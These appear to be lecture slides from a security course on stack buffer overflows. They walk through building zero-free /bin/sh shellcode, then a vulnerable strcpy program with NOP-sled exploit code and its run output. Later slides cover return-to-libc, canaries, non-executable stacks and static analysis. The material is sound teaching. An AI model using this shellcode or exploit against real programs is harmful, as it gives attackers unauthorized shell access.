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Announcements

• Quiz #3 – Thurs, Nov 4th

– A week from today



How to Derive Shell Code?
• Write in C, compile, extract assembly into machine code:

#include <stdio.h>

void main() {
char *name[2];

name[0] = "/bin/sh";
name[1] = NULL;
execve(name[0], name, NULL);

}

gcc -o shellcode -ggdb -static shellcode.c



And disassemble

0x8000130 <main>:       pushl %ebp
0x8000131 <main+1>:     movl %esp,%ebp
0x8000133 <main+3>:     subl $0x8,%esp
0x8000136 <main+6>:     movl $0x80027b8,0xfffffff8(%ebp)
0x800013d <main+13>:    movl $0x0,0xfffffffc(%ebp)
0x8000144 <main+20>:    pushl $0x0
0x8000146 <main+22>:    leal 0xfffffff8(%ebp),%eax
0x8000149 <main+25>:    pushl %eax
0x800014a <main+26>:    movl 0xfffffff8(%ebp),%eax
0x800014d <main+29>:    pushl %eax
0x800014e <main+30>:    call   0x80002bc <__execve>
0x8000153 <main+35>:    addl $0xc,%esp
0x8000156 <main+38>:    movl %ebp,%esp
0x8000158 <main+40>:    popl %ebp
0x8000159 <main+41>:    ret



Need Code for execve
0x80002bc <__execve>:           pushl %ebp
0x80002bd <__execve+1>:         movl %esp,%ebp
0x80002bf <__execve+3>:         pushl %ebx
0x80002c0 <__execve+4>:         movl $0xb,%eax
0x80002c5 <__execve+9>:         movl 0x8(%ebp),%ebx
0x80002c8 <__execve+12>:        movl 0xc(%ebp),%ecx
0x80002cb <__execve+15>:        movl 0x10(%ebp),%edx
0x80002ce <__execve+18>:        int $0x80
0x80002d0 <__execve+20>:        movl %eax,%edx
0x80002d2 <__execve+22>:        testl %edx,%edx
0x80002d4 <__execve+24>:        jnl 0x80002e6 <__execve+42>
0x80002d6 <__execve+26>:        negl %edx
0x80002d8 <__execve+28>:        pushl %edx
0x80002d9 <__execve+29>:        call   0x8001a34 <__normal_errno_location>
0x80002de <__execve+34>:        popl %edx
0x80002df <__execve+35>:        movl %edx,(%eax)
0x80002e1 <__execve+37>:        movl $0xffffffff,%eax
0x80002e6 <__execve+42>:        popl %ebx
0x80002e7 <__execve+43>:        movl %ebp,%esp
0x80002e9 <__execve+45>:        popl %ebp
0x80002ea <__execve+46>:        ret



Shell Code Synopsis
• Have the null terminated string "/bin/sh" somewhere 

in memory.
• Have the address of the string "/bin/sh" somewhere 

in memory followed by a null long word.
• Copy 0xb into the EAX register.
• Copy the address of the address of the string 
"/bin/sh” into the EBX register.

• Copy the address of the string "/bin/sh" into the ECX 
register.

• Copy the address of the null long word into the EDX 
register.

• Execute the int $0x80 instruction.



If execve() fails
• We should exit cleanly
#include <stdlib.h>
void main() { 

exit(0); 
} 

0x800034c <_exit>:      pushl %ebp
0x800034d <_exit+1>:    movl %esp,%ebp
0x800034f <_exit+3>:    pushl %ebx
0x8000350 <_exit+4>:    movl $0x1,%eax
0x8000355 <_exit+9>:    movl 0x8(%ebp),%ebx
0x8000358 <_exit+12>:   int $0x80
0x800035a <_exit+14>:   movl 0xfffffffc(%ebp),%ebx
0x800035d <_exit+17>:   movl %ebp,%esp
0x800035f <_exit+19>:   popl %ebp
0x8000360 <_exit+20>:   ret



New Shell Code Synopsis

• Have the null terminated string "/bin/sh" somewhere in memory.
• Have the address of the string "/bin/sh" somewhere in memory 

followed by a null long word.
• Copy 0xb into the EAX register.
• Copy the address of the address of the string "/bin/sh” into the 

EBX register.
• Copy the address of the string "/bin/sh" into the ECX register.
• Copy the address of the null long word into the EDX register.
• Execute the int $0x80 instruction.

• Copy 0x1 into EAX
• Copy 0x0 into EBX
• Execute the int $0x80 instruction.



Shell Code, Outline

movl string_addr,string_addr_addr
movb $0x0,null_byte_addr
movl $0x0,null_string
movl $0xb,%eax
movl string_addr,%ebx
leal string_addr,%ecx
leal null_string,%edx
int $0x80
movl $0x1, %eax
movl $0x0, %ebx
int $0x80
/bin/sh string goes here



One Problem: Where is the 
/bin/sh string in memory?

• We don’t know the address of buffer
– So we don’t know the address of the string 
“/bin/sh”

– But there is a trick to find it
• JMP to the end of the code and CALL back to the 

start
• These can use relative addressing modes
• The CALL will put the return address on the stack 

and this will be the absolute address of the string
• We will pop this string into a register!



Shell Code on the Stack
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Implemented Shell Code
jmp offset-to-call           # 2 bytes
popl %esi # 1 byte
movl %esi,array-offset(%esi)  # 3 bytes
movb $0x0,nullbyteoffset(%esi)# 4 bytes
movl $0x0,null-offset(%esi)   # 7 bytes
movl $0xb,%eax                # 5 bytes
movl %esi,%ebx # 2 bytes
leal array-offset,(%esi),%ecx # 3 bytes
leal null-offset(%esi),%edx # 3 bytes
int $0x80                    # 2 bytes
movl $0x1, %eax # 5 bytes
movl $0x0, %ebx # 5 bytes
int $0x80                    # 2 bytes
call   offset-to-popl # 5 bytes
/bin/sh string goes here.



Implemented Shell Code, with 
constants computed

jmp 0x26                     # 2 bytes
popl %esi # 1 byte
movl %esi,0x8(%esi)           # 3 bytes
movb $0x0,0x7(%esi)           # 4 bytes
movl $0x0,0xc(%esi)           # 7 bytes
movl $0xb,%eax                # 5 bytes
movl %esi,%ebx # 2 bytes
leal 0x8(%esi),%ecx           # 3 bytes
leal 0xc(%esi),%edx           # 3 bytes
int $0x80                    # 2 bytes
movl $0x1, %eax # 5 bytes
movl $0x0, %ebx # 5 bytes
int $0x80                    # 2 bytes
call   -0x2b                    # 5 bytes
.string \"/bin/sh\"             # 8 bytes



Testing the Shell Code: 
shellcodeasm.c

void main() {
__asm__("

jmp 0x2a                     # 3 bytes
popl %esi # 1 byte
movl %esi,0x8(%esi)           # 3 bytes
movb $0x0,0x7(%esi)           # 4 bytes
movl $0x0,0xc(%esi)           # 7 bytes
movl $0xb,%eax                # 5 bytes
movl %esi,%ebx # 2 bytes
leal 0x8(%esi),%ecx           # 3 bytes
leal 0xc(%esi),%edx           # 3 bytes
int $0x80                    # 2 bytes
movl $0x1, %eax # 5 bytes
movl $0x0, %ebx # 5 bytes
int $0x80                    # 2 bytes
call   -0x2f                    # 5 bytes
.string \"/bin/sh\"             # 8 bytes

");



Oops.. Won’t work

• Our code is self-modifying
– Most operating systems mark text segment as 

read only
– No self-modifying code!

• Poor hackers (in the good sense)

– Let’s move the code to a data segment and 
try it there

• Later we will be executing it on the stack, of course



Running Code in the Data 
Segment: testsc.c

char shellcode[] =
"\xeb\x2a\x5e\x89\x76\x08\xc6\x46\x07\x00\xc7\x46\x0c\x00\x00\x00"
"\x00\xb8\x0b\x00\x00\x00\x89\xf3\x8d\x4e\x08\x8d\x56\x0c\xcd\x80"
"\xb8\x01\x00\x00\x00\xbb\x00\x00\x00\x00\xcd\x80\xe8\xd1\xff\xff"
"\xff\x2f\x62\x69\x6e\x2f\x73\x68\x00\x89\xec\x5d\xc3";

void main() {
int *ret;

ret = (int *)&ret + 2;
(*ret) = (int)shellcode;

}

research $ gcc -o testsc testsc.c
research $ ./testsc
$ exit 
research $ 



Another Problem: Zeros

• Notice hex code has zero bytes
– If we’re overrunning a command-line 

parameter, probably strcpy() is being used
– It will stop copying at the first zero byte
– We won’t get all our code transferred!
– Can we write the shell code without zeros?



Eliminating Zeros

Problem instruction:                  Substitute with:          
--------------------------------------------------------
movb $0x0,0x7(%esi)                xorl %eax,%eax

movl $0x0,0xc(%esi)                movb %eax,0x7(%esi)
movl %eax,0xc(%esi)       

-------------------------------------------------------
movl $0xb,%eax                     movb $0xb,%al           
--------------------------------------------------------
movl $0x1, %eax xorl %ebx,%ebx

movl $0x0, %ebx movl %ebx,%eax
inc    %eax

--------------------------------------------------------



New Shell Code (no zeros)
char shellcode[] =

"\xeb\x1f\x5e\x89\x76\x08\x31\xc0\x88\x46\x07\x89\x46\x0c\xb0\x0b"
"\x89\xf3\x8d\x4e\x08\x8d\x56\x0c\xcd\x80\x31\xdb\x89\xd8\x40\xcd"
"\x80\xe8\xdc\xff\xff\xff/bin/sh";

void main() {
int *ret;

ret = (int *)&ret + 2;
(*ret) = (int)shellcode;

}

research $ gcc -o testsc testsc.c
research $ ./testsc
$ exit 
research $ 



Ok, We’re Done?  Well…
• We have zero-less shell code
• It is relocatable
• It spawns a shell
• We just have to get it onto the stack of some 

vulnerable program!
– And then we have to modify the return address in that 

stack frame to jump to the beginning of our shell 
code… ahh…

– If we know the buffer size and the address where the 
buffer sits, we’re done (this is the case when we have 
the code on the same OS sitting in front of us)

– If we don’t know these two items, we have to guess…



If we know where the buffer is
char shellcode[] = . . .
char large_string[128];

void main() {
char buffer[96];
long *long_ptr = (long *) large_string;

for (i = 0; i < 32; i++)
*(long_ptr + i) = (int) buffer;

for (i = 0; i < strlen(shellcode); i++)
large_string[i] = shellcode[i];

large_string[i] = ‘\0’;

strcpy(buffer,large_string);
}
// This works: ie, it spawns a shell



Otherwise, how do we Guess?
• The stack always starts at the same (high) memory address

– Here is sp.c:

unsigned long get_sp(void) {
__asm__("movl %esp,%eax");

}

void main() {
printf("0x%x\n", get_sp());

}

$ ./sp
0x8000470
$



vulnerable.c
void main(int argc, char *argv[]) {

char buffer[512];

if (argc > 1)
strcpy(buffer,argv[1]);

}

• Now we need to inject our shell code into this program
– We’ll pretend we don’t know the code layout or the buffer size
– Let’s attack this program



exploit1.c
void main(int argc, char *argv[]) {
if (argc > 1) bsize = atoi(argv[1]);
if (argc > 2) offset = atoi(argv[2]);

buff = malloc(bsize);

addr = get_sp() - offset;  
printf("Using address: 0x%x\n", addr);

ptr = buff;
addr_ptr = (long *) ptr;
for (i = 0; i < bsize; i+=4)

*(addr_ptr++) = addr;

ptr += 4;
for (i = 0; i < strlen(shellcode); i++)

*(ptr++) = shellcode[i];

buff[bsize - 1] = '\0';

memcpy(buff,"EGG=",4);   putenv(buff);   system("/bin/bash");
}



Let’s Try It!
research $ ./exploit1 600 0
Using address: 0xbffffdb4
research $ ./vulnerable $EGG
Illegal instruction
research $ exit
research $ ./exploit1 600 100
Using address: 0xbffffd4c
research $ ./vulnerable $EGG
Segmentation fault
research $ exit
research $ ./exploit1 600 200
Using address: 0xbffffce8
research $ ./vulnerable $EGG
Segmentation fault
research $ exit
.
.
.
research $ ./exploit1 600 1564
Using address: 0xbffff794
research $ ./vulnerable $EGG
$



Doesn’t Work Well: A New Idea

• We would have to guess exactly the buffer’s 
address
– Where the shell code starts

• A better technique exists
– Pad front of shell code with NOP’s
– We’ll fill half of our (guessed) buffer size with NOP’s

and then insert the shell code
– Fill the rest with return addresses
– If we jump anywhere in the NOP section, our shell 

code will execute



Final Version of Exploit
void main(int argc, char *argv[]) {

int i;

if (argc > 1) bsize = atoi(argv[1]);
if (argc > 2) offset = atoi(argv[2]);

buff = malloc(bsize);    addr = get_sp() - offset;     
printf("Using address: 0x%x\n", addr);

ptr = buff;
addr_ptr = (long *) ptr;
for (i = 0; i < bsize; i+=4)
*(addr_ptr++) = addr;

for (i = 0; i < bsize/2; i++)
buff[i] = NOP;

ptr = buff + ((bsize/2) - (strlen(shellcode)/2));
for (i = 0; i < strlen(shellcode); i++)
*(ptr++) = shellcode[i];

buff[bsize - 1] = '\0';

memcpy(buff,"EGG=",4);    putenv(buff);     system("/bin/bash");
}



Project #3

• Project #3 is on the web
– Take the vulnerable program we’ve been working with

void main(int argc, char *argv[]) {
char buffer[512];

if (argc > 1)
strcpy(buffer,argv[1]);

}

– Make it execute the command “ls /” on your machine
– Due Dec 02
– (This may be the last programming project in the 

course; unless you want more?!)



Small Buffers

• What if buffer is so small we can’t fit the 
shell code in it?
– Other techniques possible
– One way is to modify the program’s 

environment variables
• Assumes you can do this
• Put shell code in an environment variable
• These are on the stack when the program starts
• Jump to its address on the stack
• No size limitations, so we can use lots of NOP’s



Defenses

• Now that we understand how these 
attacks work, it is natural to think about 
ways to defeat them
– There are countless suggested defenses; we 

look at a few:
• StackGuard (Canaries)
• Non-executable Stacks
• Static Code Analysis



StackGuard

• Idea (1996): 
– Change the compiler to insert a “canary” on to the 

stack just after the return address
– The canary is a random value assigned by the 

compiler that the attacker cannot predict
– If the canary is clobbered, we assume the return 

address was altered and we terminate the program
– Built in to Windows 2003 Server and provided by 

Visual C++ .NET
• Use the /GS flag; on by default (slight performance hit)



Sample Stack with Canary
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Canaries can be Defeated

• A nice idea, but depending on the code 
near a buffer overflow, they can be 
defeated
– Example: if a pointer (int *a) is a local and we 

copy another local (int *b) to it somewhere in 
the function, we can still over-write the return 
address

• Not too far fetched since we commonly copy ptrs
around



Avoiding Canaries
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Moral: If Overruns Exist, High 
Probability of an Exploit

• There have been plenty of documented 
buffer overruns which were deemed 
unexploitable

• But plenty of them are exploitable, even 
when using canaries

• Canaries are a hack, and of limited use



Non-Executing Stacks and 
Return to LibC

• Suppose the stack is marked as non-executable
– Some hardware can enforce bounded regions for 

executable code
– This is not the case on generic Linux, however, since 

all our example programs for stack overruns work just 
fine, but there is a Linux version which supports this

• Has to do all kinds of special stuff to accommodate programs 
which need an executable stack

• Linux uses executable stacks for signal handling
• Some functional languages use an executable stack for 

dynamic code generation
• The special version of Linux has to detect this and allow 

executable stacks for these processes



Return to LibC: Getting around the 
Non-Executing Stack Problem

• Assume we can still over-write the stack
– 1) Set return address to system() in LibC

• Use address of dynamically-linked entry point
– 2) Write any sfp
– 3) Write address of exit() as new ret addr
– 4) Write pointer to “/bin/sh”
– 5) Write string “/bin/sh”



Return to LibC: Stack Configuration

buffer

sfp

ret

--Anything--

Address of system() 

Garbage --
Unimportant

First, overflow the buffer as shown above.
When function returns, we go to system(“/bin/sh”) which spawns a shell

ret Address of exit() 

ptr to s

s “/bin/sh”



Automated Source Code 
Analysis

• Advantages:
– Can be used as a development tool (pre-release tool)
– Can be used long after release (legacy applications)
– Method is proactive rather than reactive

• Avoid vulnerabilities rather than trying to detect them at run-
time

• In order to conduct the analysis, we need to 
build a model of the program
– The model will highlight features most important for 

security



Modeling the Program
• Programmatic Manipulation

– Model should be something we can automate (rather than do by 
hand)

• Faithfulness
– Model should accurately reflect program behavior

• Semantic Global Analysis
– Model should capture program semantics in a global context

• Lightweight
– Easily constructed and manipulated even for large complex 

programs; no extensive commenting by the developer should be 
required

• Lifecycle-Friendly
– Deriving and analyzing the model is efficient so that analysis can 

apply to new software without affecting time-to-market



Static Analysis

• Long research history
– Typically used by compiler people to write 

optimizers
– Also used by program verification types to 

prove correct some implementation
– Security researchers are therefore not starting 

from ground zero when applying these tools 
to model security concerns in software

• Let’s look at how we can address the 
“buffer overflow problem” using static 
analysis



An Analysis Tool for Detecting 
Possible Buffer Overflows

• Method Overview
– Model the program’s usage of strings

• Note that pointers can go astray and cause overflows as well, but 
these will not be modeled

• Most overflows “in the wild” are related to string mishandling

– Produce a set of contraints for the “integer range problem”
– Use a constraint solver to produce warnings about 

possible overflows



Modeling Strings
• C strings will be treated as an abstract data type

– Operations on strings are strcpy(), strcat(), etc.
– As mentioned, pointer operations on strings aren’t addressed

• A buffer is a pair of integers
– For each string we track its allocated size and it current length (ie, the 

number of bytes currently in use, including null terminators)
– So, for each string s we track alloc(s) and len(s) 
– Note that alloc(s) and len(s) are variables and not functions!
– Each string operation is translated into its effect on these values
– The safety property is len(s) <= alloc(s) for all strings s

• We don’t care about the actual contents of the strings



And so on . . .
len(s) += min(len(suffix)–1,n);strncat(s, suffix, n);

alloc(s) = n;char s[n];
len(s) = max(len(s), n+1)s[n] = ‘\0’;

len(s) += len(suffix) – 1;strcat(s, suffix);
len(dst) = min(len(src), n);strncpy(dst, src, n);
len(dst) = len(src);strcpy(dst, src);
len(s) = choose(1…n);fgets(s,n,…);
len(s) = choose(1…∞);gets(s);
len(s)-1 strlen(s)
len(p) = 4; alloc(p) = 4;p = “foo”;

Derived Abstract ModelOriginal C Source

The Translation Table



Program Analysis
• Once we set these “variables” we wish to see if it’s 

possible to violate our constraint (len(s) <= alloc(s) for all 
strings s)
– A simplified approach is to do so without flow analysis

• This makes the tool more scalable because flow analysis is hard
• However it means that strcat() cannot be correctly analyzed
• So we will flag every nontrivial usage of  strcat() as a potential 

overflow problem (how annoying)

• The actual analysis is done with an “integer range 
analysis” program which we won’t describe here
– Integer range analysis will examine the constraints we generated

above and determine the possible ranges each variable could 
assume



Evaluating the Range Analysis

• Suppose the range analysis tells us that 
for string s we have

a <= len(s) <= b     and     c <= alloc(s) <= d
• Then we have three possibilities:

b <= c     s never overflows its buffer
a > d       s always overflows its buffer (usually caught           

early on)
c <= b     s possibly overflows its buffer: issue a warning



An Implementation of the Tool

• David Wagner implemented (a simple 
version of) this tool as part of his PhD 
thesis work
– Pointers were ignored

• This means *argv[] is not handled (and it is a 
reasonably-frequent culprit for overflows)

– structs were handled
• Wagner ignored them initially, but this turned out to 

be bad
– function pointers, unions, ignored



Emperical Results
• Applied to several large software packages

– Some had no known buffer overflow vulnerabilities 
and other did

• The Linux nettools package
– Contains utilities such as netstat, ifconfig, route, 

etc.
– Approximately 7k lines of C code
– Already hand-audited in 1996 (after several overflows 

were discovered)
– Nonetheless, Wagner discovered several more 

exploitable vulnerabilities



And then there’s sendmail
• sendmail is a Unix program for forwarding 

email
– About 32k lines of C
– Has undergone several hand audits after 

many vulnerabilities were found (overflows 
and race conditions mostly)

– Wagner found one additional off-by-one error
• Running on an old version of sendmail (v. 

8.7.5), he found 8 more (all of which had 
been subsequently fixed)



Performance
• Running the tool on sendmail took about 15 

mins
– Almost all of this was for the constraint generation
– Combing by hand through the 44 “probable overflows” 

took much longer (40 of these were false alarms)
– But sendmail 8.9.3 has 695 calls to potentially unsafe 

string routines
• Checking these by hand would be 15 times more work than 

using the tool, so running the tool is worthwhile here


